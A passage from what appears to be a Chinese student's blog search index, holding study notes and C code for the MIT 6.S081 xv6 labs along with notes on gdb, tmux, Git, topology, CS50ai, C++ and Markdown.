p->trapframe->a7; if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { p->trapframe->a0 = syscalls[num](); // added in lab syscall if ((1 << num) & p->mask) { printf("%d: syscall %s -> %d\\n", p->pid, syscallNames[num], p->trapframe->a0); } } else { printf("%d %s: unknown sys call %d\\n", p->pid, p->name, num); p->trapframe->a0 = -1; }} Sysinfo (moderate) 了解sysinfo的过程 sysinfotest调用sysinfo() 系统调用sysinfo()调用sys_sysinfo获取struct sysinfo 添加编译依赖 添加sysinfo系统调用 code add sysinfo() 1234567891011121314// add in sysproc.cuint64sys_sysinfo(void){ uint64 addr; if (argaddr(0, &addr) < 0) return -1; struct sysinfo info; info.freemem = freemem(); info.nproc = procnumber(); if(copyout(myproc()->pagetable, addr, (char *)&info, sizeof(info)) < 0) return -1; return 0;} add freemem() 123456789101112131415// add in kalloc.cuint64freemem(void){ struct run *r; r = kmem.freelist; uint64 count_mem = 0; while (r) { count_mem += 4096; r = r->next; } return count_mem;} add procnumber() 123456789101112131415// add in proc.cuint64procnumber(void){ uint64 count = 0; struct proc *p; for (p = proc; p < &proc[NPROC]; p++) { if (p->state != UNUSED) { count++; } } return count;} Optional challenge exercises Print the system call arguments for traced system calls (easy). Compute the load average and export it through sysinfo(moderate).","link":"/2023/03/31/6-S081-Lab-syscall/"},{"title":"ChatGPT","text":"Self Introduction GPT-4 is OpenAI’s most advanced system, producing safer and more useful responses. GPT4: I am a language model that is based on a neural network architecture known as GPT (Generative Pre-trained Transformer). This architecture is used in deep learning to generate natural language text by predicting the next word or sequence of words based on the input text. I was pre-trained on a large corpus of text and can generate human-like responses to a wide range of questions and prompts. Feeling 用了一下ChatGPT,非常不错,确实感觉的到我在和一个知识储备很深并且十分耐心的人谈话,希望它能帮助我在后面的学习和生活过程中解答一些疑惑。此外,gpt有提问限制,我也需要精确我的表达来获取我想要的信息。 Links 与GPT4对话","link":"/2023/03/30/ChatGPT/"},{"title":"gdb","text":"Introduction gdb(GNU Debugger)是GNU项目中的调试工具。 Usage Common 帮助 help <command-name> 运行 run = r 运行到断点 c = continue 继续到断点 断点 b <breakpoint-name> 函数名处打断点 b <location> 在地址处打断点 步进 s C语言步进 进入函数 si 汇编语言步进 进入函数 n C语言步进 不进入函数 ni 汇编语言步进 不进入函数 观察点 打印内存: 使用x命令来打印内存的值,格式为x/nfu addr,以f格式打印从addr开始的n个长度单元为u的内存值。 x/nfu <address> n:输出单元的个数 f : 输出格式,如x表示以16进制输出,o表示以8进制数处,默认x,如果地址所指的是字符串,那么格式可以是s,如果地址是指令地址,那么格式可以是i。 u:一个单元的长度,b表示1byte,h表示2byte(half word),w表示4byte,g表示8byte(giant word) 打印变量 print/x <variable> d 按十进制格式显示变量 x 按十六进制格式显示变量 a 按十六进制格式显示变量 u 按十六进制格式显示无符号整型 o 按八进制格式显示变量 t 按二进制格式显示变量 c 按字符格式显示变量 f 按浮点数格式显示变量 打印信息 info registers prints the value of every register. info frame prints the current stack frame. list <location> prints the source code of the function at the specified location. backtrace might be useful as you work on lab 1 tui tui enable layout <name> switches to the given layout. .gdbinit Links 不错的教程 Updating…","link":"/2023/03/29/gdb/"},{"title":"tmux","text":"Usage 在shell中 1$ tmux ctrl-b c 新建窗口 ctrl-b p 前一个窗口 ctrl-b n 下一个窗口 ctrl-b % 垂直拆分窗口 ctrl-b " 水平拆分窗口 ctrl-b o 在窗口间切换 exit 退出tmux","link":"/2023/03/29/tmux/"},{"title":"MIT 6.S081 Lecture 5: GDB, calling conventions and stack frames RISC-V","text":"Reading Read Calling Convention C -> RISC-V Asm C -> Asm -> Binary (.c) -> (.s) -> (object / .o) RISC-V vs x86-64 x86-64 3本书 +3inst / month CISC RISC-V 2本书 更少更简单的指令 开源 RISC ARM Android ios RISC gdb 见gdb一文 Register 寄存器列表 经典的RISC-V函数 prologue保存callee saved register body函数体 epilogue还原callee saved register Stack Frame 栈帧 重要的两个register sp -> bottem of stack fp -> top of current frame struct 连续的内存结构,看成可变数据类型的数组","link":"/2023/03/29/6-S081-Lecture-5/"},{"title":"MIT 6.S081 Lecture 4: Page tables","text":"Reading Read Chapter3 read code Address Spaces 每个进程拥有专属的地址空间 Page table实现了同一个物理内存,不同的地址空间 读写satp寄存器是特殊权限指令 PT H/W 不为每个地址(1Byte)创建表单条目,而为每个Page(通常4KB,Offset12位)创建一个表单条目 VA -> PA Real paging H/W (RISC-V) 三级缓存的RISC-V Page TLB: Translation Lookaside Buffer cache of PTE(page table entry) When switch PT, clear TLB OS and PTE OS可以操纵PTE Page Fault很有用 虚拟地址映射到内存和I/O设备 高于0x80000000 -> DRAM 低于0x80000000 -> I/O","link":"/2023/03/29/6-S081-Lecture-4/"},{"title":"MIT 6.S081 Lecture 3: OS organization and system calls","text":"Reading Read Chapter2 read code Isolation 如果没有OS隔离,用户应用直接与硬件交互,难以实现Multiplexing Unix Interface 抽象关系 OS -> H/W process -> CPU exec -> Memory files -> disk block Defensive Isolation between apps and OS HW support user / kernel mode user mode被允许执行add sub等指令,而kernel mode被允许执行受限指令 virtual memory Virtual Memory Page table将虚拟地址映射到物理地址 每个独立的进程有独立的page table,因此实现了不同进程间的内存隔离 Kernel Kernel -> TCB(可信任的计算空间) 无bug 把apps当作恶意的 内核架构 宏内核(Linux) 微内核(两倍跳转,低performance)","link":"/2023/03/28/6-S081-Lecture-3/"},{"title":"MIT 6.S081 Lecture 2: C and gdb","text":"Reading C Intro to C gdb Using the GNU Debugger","link":"/2023/03/28/6-S081-Lecture-2/"},{"title":"MIT 6.S081 Lecture 1: Introduction and examples","text":"Reading Read Chapter1 OS purpose Abstract H/W Multiplex Isolation Sharing Security Performance Range of uses Classic design 内核 用户层隔离的设计 Why OS hard and interesting? unforgiving tension efficient - abstract powerfull - simple flexible - secure 文件交互和进程交互 program example using Sys Call example copy.c 使用read write exit系统调用 fd文件描述符(标准输入输出也只是文件而已) 0 stdin 1 stdout 2 stderr open.c 使用open write exit系统调用 sh.c shell可以被认为仅仅是执行标准输入的命令并打印到标准输出的用户程序 fork.c 使用fork系统调用 exec.c 使用exec系统调用 forkexec.c 使用fork exec wait系统调用 redirect.c 使用fork open exec wait系统调用 实现了I/O重定向 new.txt -> 1","link":"/2023/03/28/6-S081-Lecture-1/"},{"title":"MIT 6.S081 Lab util","text":"Compulsory exercises Lab guidance About easy / moderate / hard Boot xv6 (easy) 启动xv6 在shell中 12$ cd xv6-labs-2021$ make qemu 在xv6 shell中列出文件 1$ ls 在xv6中 Ctrl-p 打印进程信息 Ctrl-a x 退出qemu sleep (easy) 了解系统调用 xv6文档p11 代码实现 code 1234567891011121314151617// sleep.c#include "kernel/types.h"#include "kernel/stat.h"#include "user/user.h"int main(int argc, char *argv[]){ if (argc != 2) { //error fprintf(2, "Error arg number!"); exit(1); } else { int time = atoi(argv[1]); sleep(time); exit(0); }} 补全Makefile 1$U/_sleep\\ 测试 12345$ cd xv6-labs-2021$ ./grade-lab-util sleep# Or #$ make GRADEFLAGS=sleep grade pingpong (easy) 图解 代码实现 code 12345678910111213141516171819202122232425262728293031323334// pingpong.c#include "kernel/types.h"#include "kernel/stat.h"#include "user/user.h"int main(int argc, char *argv[]){ int p[2]; int pid; pipe(p); if (fork() == 0) { // child pid = getpid(); char buf[2]; read(p[0], buf, 1); close(p[0]); printf("%d: received ping\\n", pid); write(p[1], buf, 1); close(p[1]); exit(0); } else { // parent pid = getpid(); char ball[2] = "b"; char buf[2]; write(p[1], ball, 1); close(p[1]); wait(0); read(p[0], buf, 1); printf("%d: received pong\\n", pid); close(p[0]); exit(0); }} primes (moderate)/(hard) 图解 根据分析需要使用两个管道分别用于左邻居和右邻居 代码实现 code 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566// primes.c#include "kernel/types.h"#include "kernel/stat.h"#include "user/user.h"void childPrime(int p[2]) { // p -> left, pr -> right // [0] -> read, [1] -> write close(p[1]); // get first prime int prime; if (read(p[0], &prime, 4) != 4) { exit(0); } printf("prime %d\\n", prime); int pr[2]; pipe(pr); if (fork() == 0) { childPrime(pr); } else { close(pr[0]); // drop multiple of prime int n; while (read(p[0], &n, 4) == 4) { if (n % prime != 0) { if (write(pr[1], &n, 4) != 4) { fprintf(2, "write error"); } } } // close read left close(p[0]); // close write right close(pr[1]); wait(0); } exit(0);}int main(int argc, char *argv[]){ int p[2]; pipe(p); if (fork() == 0) { // child childPrime(p); } else { // parent // close read close(p[0]); for (int i = 2; i <= 35; i++) { if (write(p[1], &i, 4) != 4) { fprintf(2, "write error"); exit(1); } } // close write close(p[1]); wait(0); } exit(0);} find (moderate) 阅读ls.c了解文件系统 代码实现 code 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697#include "kernel/types.h"#include "kernel/stat.h"#include "user/user.h"#include "kernel/fs.h"char*fmtname(char *path){ static char buf[DIRSIZ+1]; char *p; // Find first character after last slash. for(p=path+strlen(path); p >= path && *p != '/'; p--) ; p++; // Return blank-padded name. if(strlen(p) >= DIRSIZ) return p; memmove(buf, p, strlen(p)); memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); return buf;}void find(char *pwd, char *filename) { char buf[512], *p; int fd; struct dirent de; struct stat st; if((fd = open(pwd, 0)) < 0){ fprintf(2, "cannot open %s\\n", pwd); return; } if(fstat(fd, &st) < 0){ fprintf(2, "cannot stat %s\\n", pwd); close(fd); return; } if (read(fd, &de, sizeof(de)) != sizeof(de)){ exit(1); } switch(st.type){ case T_FILE: if (strcmp(de.name, filename) == 0) { printf("%s/%s\\n", pwd, filename); } break; case T_DIR: if (strlen(pwd) + 1 + DIRSIZ + 1 > sizeof buf) { printf("path too long\\n"); break; } strcpy(buf, pwd); p = buf+strlen(buf); *p++ = '/'; while (read(fd, &de, sizeof(de)) == sizeof(de)) { if (de.inum == 0 || strcmp(de.name, ".") ==0 || \\ strcmp(de.name, "..") == 0) { continue; } memmove(p, de.name, DIRSIZ); p[DIRSIZ] = 0; if (stat(buf, &st) < 0) { printf("cannot stat %\\n", buf); continue; } if (st.type == T_FILE) { if (strcmp(de.name, filename) == 0) { printf("%s\\n", buf); } } else if (st.type == T_DIR) { find(buf, filename); } } break; } close(fd);}int main(int argc, char *argv[]){ if (argc != 3) { fprintf(2, "error number!"); exit(1); } else { char* pwd = argv[1]; char* filename = argv[2]; find(pwd, filename); exit(0); }} xargs (moderate) 了解xargs 教程 要求实现简易的xarg,即实现下列命令行调用 1234$ find . b | xargs grep hello$ echo hello too | xargs echo byebye hello too 代码实现(reference) code 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788#include "kernel/types.h"#include "kernel/stat.h"#include "user/user.h"#include "kernel/param.h"void copy(char **p1, char *p2) { *p1 = malloc(strlen(p2) + 1); strcpy(*p1, p2);}int readLine(char **pars, int i){ int d = 1024; char buf[d]; int j = 0; // 读取1行 while (read(0, buf + j, 1)){ // 按行划分 if (buf[j] == '\\n'){ buf[j] = 0; break; } j++; if (j == d){ fprintf(2, "Parameters are too long!\\n"); exit(1); } } // 没有读取内容 if (j == 0){ return -1; } // 按照空格划分 int k = 0; while (k < j){ if (i > MAXARG){ fprintf(2, "Too much parameters!\\n"); exit(1); } // ' abc sdf' // 忽略 while ((k < j) && (buf[k] == ' ')){ k++; } // 起始位置 int l = k; // 保留字符 while ((k < j) && (buf[k] != ' ')){ k++; } // 注意需要k++ buf[k++] = 0; copy(&pars[i], buf + l); i++; } return i;}int main(int argc, char *argv[]){ if (argc < 2) { fprintf(2, "error arg number"); exit(1); } else { char *args[MAXARG]; int i; int j; for (i = 1, j = 0; i < argc; i++, j++) { copy(&args[j], argv[i]); } int end; while ((end = readLine(args, argc - 1)) != -1) { args[end] = 0; if (fork() == 0) { // child exec(args[0], args); exit(1); } else { wait(0); } } } exit(0);} Optional challenge exercises Write an uptime program that prints the uptime in terms of ticks using the uptime system call. (easy) Support regular expressions in name matching for find. grep.c has some primitive support for regular expressions. (easy) The xv6 shell (user/sh.c) is just another user program and you can improve it.","link":"/2023/03/28/6-S081-Lab-util/"},{"title":"CS50ai","text":"Course About 介绍有关人工智能的问题,内容包括搜索、优化、学习、神经网络等 Feeling 人工智能在今天已经是一个时代性的话题,仅仅是在这短短的一年之间,我已经见证了它对不同领域的冲击,从AI绘画到ChatGPT,或者是其他的更多方面,真正的AI时代似乎已经到来。以我肤浅的认识,以我在课程中学到的内容还有我粗浅的理解,我确实很难想象神经网络和反向传播,最后居然能训练出ChatGPT这样现象级的人工智能。绘画和CS都是我思考过想要投入其中的行业,我一方面明白人工智能的发展是科技进步的象征,它的应用必将让这个世界走向更加智能和美好的方向,但同时不可阻挡的发展,也正像浪潮一般席卷了从业者。我斗胆自诩为绘画行业的旁观者,又或者是踏入CS半只脚的半吊子,但我却深深体会到了AI所带来的追赶不上和将被替代的压迫感。我在以前无法预知现在的科技发展,而现在也仍然对未来的日子一无所知。我正像几年前的高考那样,迷茫地走向前去。我不知道人工智能的未来,甚至也不知道自己的未来。但即便如此,我还是想要去了解现代的人工智能,了解它的原理和实现,并且尝试去使用它。 Links 课程主页 课程视频 (Updating…)","link":"/2023/03/28/CS50ai/"},{"title":"GNU Make and CMake","text":"Introduction GNU Make是GNU项目中的构建工具,构建文件为Makefile。而CMake是更为强大的构建工具,构建文件为CMakeList.txt,CLion使用CMake作为其构建工具。 Feeling Links GNU Make 参考教程 CMake 官方文档 Updating…","link":"/2023/03/28/Make/"},{"title":"CS61C","text":"Course About 介绍有关计算机组成的问题,内容包括电路设计、RISC-V汇编、CPU流水线等等 Feeling Links 课程主页 课程视频(在主页)","link":"/2023/03/27/CS61C/"},{"title":"Git and Github","text":"Introduction Git是Linus开发的分布式版本控制工具,而Github是在线代码托管平台 Feeling 我常常觉得git/github对我来说只有git add git commit git push三部曲,别人的git版本控制是有向无环图(DAG), 而我的git是链表😆。但是学会完整的git/github工作流是必要的。 Links Pro Git (一本在线Git学习书籍) 使用练习 常用配置 设置代理 git config --global --get http.proxy 查看http代理服务器 git config --global --get https.proxy 查看https代理服务器 git config --global http.proxy 127.0.0.1:7890 设置http代理服务器 git config --global https.proxy 127.0.0.1:7890 设置https代理服务器 如果代理服务器支持socks5,设置socks5代理 pull request fork a Repository git clone <your fork> push as usual contribute -> pull request","link":"/2023/03/27/Git-and-Github/"},{"title":"MIT 6.031: Software Construction","text":"Course About 介绍有关软件工程的问题 Links 课程主页 (Updating…)","link":"/2023/03/26/MIT-6-031/"},{"title":"MIT 6.S081: Operating System Engineering","text":"Catalog description: Design and implementation of operating systems, and their use as a foundation for systems programming. Topics include virtual memory; file systems; threads; context switches; kernels; interrupts; system calls; interprocess communication; coordination, and interaction between software and hardware. A multi-processor operating system for RISC-V, xv6, is used to illustrate these topics. Individual laboratory assignments involve extending the xv6 operating system, for example to support sophisticated virtual memory features and networking. Feeling 操作系统层的编程以它注重硬件直接交互,兼顾性能与安全的特征而为人所知。操作系统和机器架构方面的问题,时常让我在想,先有鸡还是先有蛋。所谓的Shell是内核之外的用户程序,它执行不同种类的系统调用以让我觉得,Shell就是内核的包装和外壳(Shell)。但是在Shell之前的事情呢,机器如何摆放它在屏幕上的文字,以让我觉得我在使用Shell?如果没有Shell,事情又会变得怎样呢?网络是一种I/O设备,它在操作系统下的接口是怎样的?我们所熟悉的C语言中那些理所应当的函数和数据结构,是怎样由操作系统封装提供的?操作系统是硬件与用户层之间的重要桥梁,它不仅仅是某种"Cache",不仅仅是某种GUI,它是很多东西的集合和封装,但幸运的是,它是运行中的程序,它不由谁提供环境,它要自己适应环境。 Links 课程主页(Fall21) 课程视频 课程视频翻译 xv6 中文文档 (Updating…)","link":"/2023/03/26/MIT-6-S081/"},{"title":"Abstract algebra","text":"Course About 抽象代数I是用代数方法研究代数结构的第一门课。介绍群论、环论、多项式理论和域论的基础知识。先修课程是数学分析和高等代数。 Links 课程主页 课程视频 (Updating…)","link":"/2023/03/26/Maki-%E6%8A%BD%E8%B1%A1%E4%BB%A3%E6%95%B0/"},{"title":"Topology","text":"Course About 介绍了拓扑空间、连续映射、经典的拓扑不变量以及一些重要的拓扑学定理。 Links 课程主页 课程视频 第1讲 R上的通常拓扑 这节课的开始大致为我们讲述了点集拓扑的背景和点集拓扑学研究的对象,这门课将从$R$上的通常拓扑开始,从具体到抽象一步步地为我们揭开拓扑的本质。 拓扑空间是一个集合 拓扑空间中开集的集合->{开集} 被称为拓扑 点集拓扑学的研究对象是拓扑空间,拓扑,连续映射,同胚映射,拓扑不变量等 本节课建立在$R$上的通常拓扑下 定义1.1 $ 若x\\in R, \\varepsilon > 0,则以x为圆心,\\varepsilon为半径的开球,记作B(x, \\varepsilon),定义为B(x, \\varepsilon) = \\{ y\\in R: |y - x| < \\varepsilon \\}。 $ 这个定义实际上就是$\\varepsilon$-邻域的概念,它定义了一个点的“附近”,在后面我们将学习到,这种附近的定义的延伸就是$R$上的通常拓扑,如果换一种“附近”的定义,就会得到不同的拓扑。 命题1.1 $ 若I是一个开区间,则对于任意x\\in I,存在\\varepsilon > 0,使得B(x, \\varepsilon) \\subset I。 $ 这是开区间的定义,意思是对于开区间的任一点,开区间会包含每一个点的小邻域 定义1.2 $ 若 U \\subset R,则 U 被称为 R 上的一个开集,若对于任意 x \\in U,存在 \\varepsilon > 0,使得B(x, \\varepsilon) \\subset U。 $ 这是开集的定义,显然开区间都是开集,但反过来,开集不一定是开区间 定义1.3 $ 若 A \\subset R,则 x \\in R 被称为 A 的一个极限点,若存在 A 中的一个数列 (a_{n}) \\subset A,使得 \\lim_{n \\to \\infty} a_{n} = x。 $ 这是子集的极限点的定义 引理1.1 $ 若 A \\subset R,则 x \\in R 是 A 的一个极限点,当且仅当,对于任意 \\varepsilon > 0,都可以找到 a \\in A,使得 |a - x| < \\varepsilon $ 这在微积分和数学分析中显然 命题1.2 $ 若I是一个闭区间,则它包含所有I的极限点。换言之,如果x是I的一个极限点,那么x \\in I。 $ 定义1.4 $ 若 V 是 R 的一个子集,则它被称为 R 的一个闭集,若每一个 V的极限点都在 V 中。 $ 显然,闭区间都是闭集。 命题1.3 $ 令 U 是 R 的一个子集,则 U 是 R 中的一个开集当且仅当 V = R − U是 R 中的一个闭集。 $ 一个至关重要的结论,就是说,开集和闭集是相补的。 第2讲 R上的通常拓扑 这节课对开集和闭集的性质进行了讲解,同时也阐述了集合的内部与外部的含义 还是要注意本节内容都是相对于R上的通常拓扑而言 要更注重数学框架、逻辑推导本身,而不是只注重数学表达的名词和语言 命题1.4(R中开集的性质) $ 1.\\phi, R 都是 R 中的开集。\\newline 2.若 U_{a} 对任意 a \\in I 都是 R 中的开集,则 \\bigcup_{a \\in I} U_{a} 也是 R 中的开集。\\newline 3.若 U_{1}, · · · , U_{n} 都是 R 中的开集,则 \\bigcap_{i=1}^{n}U_{i} 也是 R 中的开集。 $ 证明 1显然成立 2是说开集对任意并封闭 3是说开集对有限交封闭 命题1.5(R中闭集的性质) $ 1.\\phi, R 都是 R 中的闭集。\\newline 2.若 U_{a} 对任意 a \\in I 都是 R 中的闭集,则 \\bigcap_{a \\in I} U_{a} 也是 R 中的闭集。 \\newline 3.若 U_{1}, · · · , U_{n} 都是 R 中的闭集,则 \\bigcup_{i=1}^{n}U_{i} 也是 R 中的闭集。 $ 1显然成立 2是说闭集对任意交封闭 3是说闭集对有限并封闭 闭集的性质在R上可以退出闭区间套定理 由德摩根律结合开集的性质,闭集的性质显然成立 引理:De Morgan律 $ (A \\bigcap B)^{C} = A^{C} \\bigcup B^{C} \\newline (A \\bigcup B)^{C} = A^{C} \\bigcap B^{C} \\newline ( \\bigcap_{i = 1}^{n} A_{i})^{C} = \\bigcup_{i = 1}^{n} {A_{i}}^{C} \\newline ( \\bigcup_{i = 1}^{n} A_{i})^{C} = \\bigcap_{i = 1}^{n} {A_{i}}^{C} \\newline (\\bigcap_{\\alpha \\in I}A_{\\alpha})^{C} = \\bigcup_{\\alpha \\in I} {A_{\\alpha}}^{C} \\newline (\\bigcup_{\\alpha \\in I}A_{\\alpha})^{C} = \\bigcap_{\\alpha \\in I} {A_{\\alpha}}^{C} $ 证明 定义 1.5 $ 令 A 是 R 的一个子集,则 A 的闭包,记作 cl(A) = \\bar{A},定义为由 A 的所有极限点构成的集合。 $ 引理1.2 $ 𝑉 是 R 的闭子集当且仅当 V = \\bar{V}。 $ 定义1.6 $ 令 A 是 R 的一个子集。 \\newline 1.A 的内部,记作 Int(A),定义为 \\{ x \\in R: \\exists \\varepsilon > 0, B(x, \\varepsilon) \\subset A \\} = \\{ x \\in R: \\exists \\varepsilon > 0, 𝐵(x, \\varepsilon) \\cap A^{C} = \\phi \\}。 \\newline 2.A 的外部,记作 Ext(A),定义为 \\{ x \\in R: \\exists \\varepsilon > 0, 𝐵(x, \\varepsilon) \\subset A^{C} \\} = \\{ x \\in R: \\exists \\varepsilon > 0, 𝐵(x, \\varepsilon) \\cap A = \\phi \\}。 \\newline 3.A 的边界,记作 \\partial (A),定义为 \\{ x \\in R: \\forall \\varepsilon > 0, 𝐵(x, \\varepsilon) \\cap A \\ne 0 且 𝐵(x, \\varepsilon) \\cap A^{C} \\ne 0 \\}。 $ 这三个形象的定义为我们描绘了R上的通常拓扑 第3讲 R上的通常拓扑 这节课为我们介绍了集合的内部、外部、边界的性质 引理1.3 $ 令 A 是 R 的一个子集,则 Int(A) \\cap Ext(A) = \\phi。 $ 引理1.4 $ 1.Int(A) \\subset A。 \\newline 2.Ext(A) \\subset A = \\phi。 \\newline 3.Int(A) 和 Ext(A) 是两个开集。 \\newline 4.A \\cup \\partial A = Int(A) \\sqcup \\partial A 是一个闭集。 $ 证明 命题1.6 $ 令 A 是 R 的一个子集,则 \\newline 1.A 是开集当且仅当 A = Int(A)。 \\newline 2.\\bar{A} = A \\cup \\partial A = Int(A) \\sqcup \\partial A。 \\newline 3.A是闭集当且仅当 \\partial A \\subset A。 $ 命题1.7 $ 令 A 是 R 的一个子集,则 \\newline 1.Int(A) 是 A 中最大的开集。 \\newline 2.\\bar{A} 是包含了 A 的最小的闭集。 $ 命题1.8 $ 令 A 是 R 的一个子集,则 \\newline 1.(Int(A))^{C} = \\bar{A^{C}} \\newline 2.(\\bar{A})^{C} = Int(A^{C}) $ 证明 $(Int(A))^{C} = \\partial A \\sqcup Ext(A) = \\partial (A^{C}) \\sqcup Int(A^{C}) = \\bar{A^{C}}$ 由于两个结论对称,将$A$换成$A^{C}$,二式显然成立 第4讲 R上的连续映射 定义1.7 $ f: R \\to R 被称为一个连续映射,若对于任意 x \\in R 和任意 \\varepsilon > 0,都存在一个 \\delta > 0,\\newline 使得对任意 y,只要 |x - y| < \\delta ,就有 |f(x) - f(y)| < \\varepsilon $ 这其实等价于说 $ 对R中任何一个形如B(f(x), \\varepsilon) 的开球,我们都能找到一个形如 B(x, \\delta) 的开球,使得f(B(x, \\delta)) \\subset B(f(x), \\varepsilon)。 $ 命题1.9 $ f: R \\to R 是一个连续映射,当且仅当对任意 R 中的开子集 U,我们都有 f^{-1}(U)是R的开子集 $ 这个定义的意思是开集的原像是开集 定义1.8 $ f : R \\to R 被称为一个同胚映射,若 \\newline 1.f 是一个双射。\\newline 2.f 是一个连续映射。\\newline 3.f^{-1} 是一个连续映射。 $ 在R上同胚的定义由1 2可以推出3,而在一般的拓扑空间就不行了 引理1.5 $ 若 f : R \\to R 是一个连续的单射,则 f 要么在 R 上是严格递增的,要么在 R 上是严格递减的。 $ 数学分析中显然 命题1.10 $ 若 f : R \\to R 是一个连续的双射,则 f 是一个同胚。 $ $R^{n}$上也是成立的,但是证明要用到代数拓扑的知识 第5讲 度量空间 定义1.9 $ 令 x \\in R^{n},而 \\varepsilon > 0,则 B(x, \\varepsilon) = \\{ y \\in R^{n}: d(x, y) = |x − y| < \\varepsilon \\}。 $ 这是一个赋范空间上的开球定义 不同空间的关系:内积->赋范(长度)->度量(距离)->拓扑 完备的内积空间叫做Hirbert空间 内积空间涉及到泛函分析的方向 完备的赋范空间叫做Banach空间 赋范空间的定义如下 $ |.|: R^{n} \\to R(R^{n}是R上的赋范空间) \\newline 1.\\forall x \\in R^{n}, |x| \\ge 0 且 \\newline |x| = 0 \\Leftrightarrow x = 0 \\newline 2.c \\in R, \\forall x \\in R^{n}, |cx| = |c||x| \\newline 3.\\forall x, y \\in R^{n},|x+y| \\le |x|+|y| $ 定义1.10 $ 令U 是 R^{n}的一个子集,则U被称为一个 R^{n}的开子集,若对任意 x \\in U,存在一个 \\varepsilon > 0,使得 B(x, \\varepsilon) \\subset U。 $ 引理1.6 $ 1.令 x, y ∈ R^{n},则 |x + y| \\le |x| + |y|。 \\newline 2.令 x, y, z ∈ R^{n},则 d(x, z) ≤ d(x, y) + d(y, z)。 $ 这分别是赋范空间和度量空间中的三角不等式 引理1.7 $ 令 x \\in R^{n},而 \\varepsilon > 0,则 B(x, \\varepsilon) 是一个 R^{n}的开子集。 $ $R^{n}$上的开球都是开集 定义1.11 $ 令 X 是一个非空集合,则 d : X × X \\to R 被称为 X 上的一个度量,若 \\newline 1.(正定性)对任意 x, y \\in X,我们有 d(x, y) ≥ 0。此外,对任意 x, y \\in X,我们有 d(x, y) = 0 \\Leftrightarrow x = y; \\newline 2.(对称性)对任意 x, y \\in X,我们有 d(x, y) = d(y, x); \\newline 3.(三角不等式)对任意 x, y, z \\in X,我们有 d(x, z) ≤ d(x, y) + 𝑑(y, z)。 \\newline 进一步,我们称 (X, d) 是一个度量空间。 $ 这是抽象后的度量空间的定义,每一个度量空间都可以引出一个拓扑 定义1.12 $ 令 X 是一个集合,则 \\tau \\subset P (X) 是 X 上的一个拓扑,若 \\newline 1.\\phi, X \\in \\tau; \\newline 2.如果对任意 a \\in I,我们有 U_{a} \\in \\tau,则它们的任意并也在 \\tau 中,即\\cup_{a \\in I}U_{a} \\in \\tau \\newline 3.如果U_{1}…U_{i} \\in \\tau, 则\\cap_{i=1}^{n} \\in \\tau \\newline 我们称 (X, \\tau) 是一个拓扑空间。在不引起歧义的情况下,我们简单地称 X 是一个拓扑空间。 \\newline 进一步地,A \\subset X 被称为一个开集当且仅当 A \\in \\tau,A 被为一个闭集当且仅当 A^{C} = X - A是一个开集。 $ 这里提前给出拓扑的定义 命题1.10 $ 假设 (X, d) 是一个度量空间,则 U \\subset X 被称为一个 (X, d) 一个开子集,当且仅当对于 x \\in U,存在 \\varepsilon > 0,使得 B(x, \\varepsilon) \\subset U。 $ 定义1.13 $ 如上定义的开集给出了 (X, d) 的一个拓扑结构。换言之,上面定义的开集满足拓扑空间的三条公理。 $ 定义1.14 $ 假设 (X, d) 是一个度量空间,x \\in X,A, B 是 X 的两个非空子集,则 \\newline 1.A 的直径,记作 diam(A),定义为 diam(A) = sup_{x, y \\in A}d(x, y); \\newline 2.x 和 A 的距离,记作 d(x, A),定义为 d(x, A) = inf_{y \\in A} 𝑑(𝑥, 𝑦); \\newline 3.A 和 B 的距离,记作 d(A, B),定义为 d(A, B) = inf_{x \\in A, y \\in B}d(x,y)。 $ sup上确界 inf下确界 定义1.15 $ 我们称非空子集 A \\subset X 是个有界集合,若 diam(A) < \\infty $ 直径可以无穷,但距离不能无穷 引理1.8 $ 令 A 是 X 的一个非空子集,而 x, y \\in X,则 d(x, A) ≤ d(x, y) + d(y, A)。 $ 定义1.16 $ 令 (X, d),(Y, d′) 是两个度量空间,则 f : X \\to Y 是一个连续映射, \\newline 若对于任意 x \\in X 和 \\varepsilon > 0,存在一个 \\delta > 0,使得对任意 y \\in X,只要 d(x, y) < \\delta,就有 d′(f(x), f(y)) < \\varepsilon。 $ 命题1.12 $ 令 (X, d),(Y, d’) 是两个度量空间,则 f:X \\to Y 是一个连续映射, \\newline 当且仅当对任意 Y 中的开集 U,我们有 f^{-1}(U)是 𝑋 中的一个开集。 $ 这其实也是拓扑空间中连续映射的定义,开集的原像是开集 第6讲 拓扑空间 这节课从抽象的度量空间介绍到了更为抽象的拓扑空间,抽象的东西从“距离”变成了“附近”。 定义1.17 $ 令 X 是一个集合,则 \\tau \\subset P (X) 是 X 上的一个拓扑,若 \\newline 1.\\phi, X \\in \\tau; \\newline 2.如果对任意 a \\in I,我们有 U_{a} \\in \\tau,则它们的任意并也在 \\tau 中,即\\cup_{a \\in I}U_{a} \\in \\tau \\newline 3.如果U_{1}…U_{i} \\in \\tau, 则\\cap_{i=1}^{n} \\in \\tau \\newline 我们称 (X, \\tau) 是一个拓扑空间。在不引起歧义的情况下,我们简单地称 X 是一个拓扑空间。 \\newline 进一步地,A \\subset X 被称为一个开集当且仅当 A \\in \\tau,A 被为一个闭集当且仅当 A^{C} = X - A是一个开集。 $ X在任意并和有限交下封闭 P(x)是X所有子集的集合 第7讲 连续映射 第8讲 拓扑的基与子空间拓扑 第9讲 积拓扑与箱拓扑 第10讲 商拓扑与序拓扑 (Updating…)","link":"/2023/03/26/Maki-%E7%82%B9%E9%9B%86%E6%8B%93%E6%89%91%E5%AD%A6/"},{"title":"C++","text":"Introduction C++是一种兼具面向过程和面向对象特征的编程语言 Start 让我们写下第一个C++文件! hello.cpp123456789#include <iostream>using namespace std;int main(){ cout << "Hello World!" << endl; return 0;} 使用Linux命令行来调用编译器 1$ g++ -o hello hello.cpp 运行编译好的程序 12$ ./helloHello World!","link":"/2022/07/14/C-Tips/"},{"title":"Markdown","text":"Introduction Markdown是一种标记语言,而Latex是一种排版系统 Usage 标题 123456# Title## Title### Title#### Title##### Title###### Title 引用 12> Learn what is to be taken seriously and laugh at the rest.> ― Herman Hesse Learn what is to be taken seriously and laugh at the rest. ― Herman Hesse 强调 12345678910111213*斜体***加粗*****斜体加粗***<u>下划线</u>==高亮==* 重点+ 重点- 重点 斜体 